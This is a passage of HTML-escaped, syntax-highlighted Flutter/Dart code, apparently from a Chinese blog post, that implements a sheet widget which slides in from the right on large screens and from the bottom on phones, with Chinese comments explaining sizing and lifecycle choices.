class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里我是抄的那个 SideSheet 组件,他也是写了个静态方法来显示\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003estatic\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eshow\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eshowGeneralDialog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebarrierDismissible:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003econtext:\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epageBuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebarrierLabel:\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 这个动画就是从右呼出还是从下面呼出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003etransitionBuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eanimation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esecondaryAnimation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eSlideTransition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eposition:\u003c/span\u003e \u003cspan class=\"n\"\u003eTween\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebegin:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e0.0\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eend:\u003c/span\u003e \u003cspan class=\"n\"\u003eOffset\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCurveTween\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecurve:\u003c/span\u003e \u003cspan class=\"n\"\u003eCurves\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eeaseOutCubic\u003c/span\u003e\u003cspan class=\"p\"\u003e)).\u003c/span\u003e\u003cspan class=\"n\"\u003eanimate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eanimation\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ecreateState\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_BothSideSheetState\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003e_BothSideSheetState\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这就是 BottomSheet 的高度问题了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里涉及到 StatefulWidget 的声明周期,这是在 build 之前执行的函数,用来设定高度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 没记错的话,这么写的目的是,防止子组件的某些东西重新加载,这里我快忘了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003edidChangeDependencies\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edidChangeDependencies\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e \u003cspan class=\"n\"\u003eradius\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eonly\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etopLeft:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebottomLeft:\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etopRight:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebottomRight:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e360\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e360\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这就是上面的东西,根据 SideSheet 和 BottomSheet 有所不同\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eGestureDetector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonVerticalDragUpdate:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDragUpdateDetails\u003c/span\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eglobalPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edy\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan 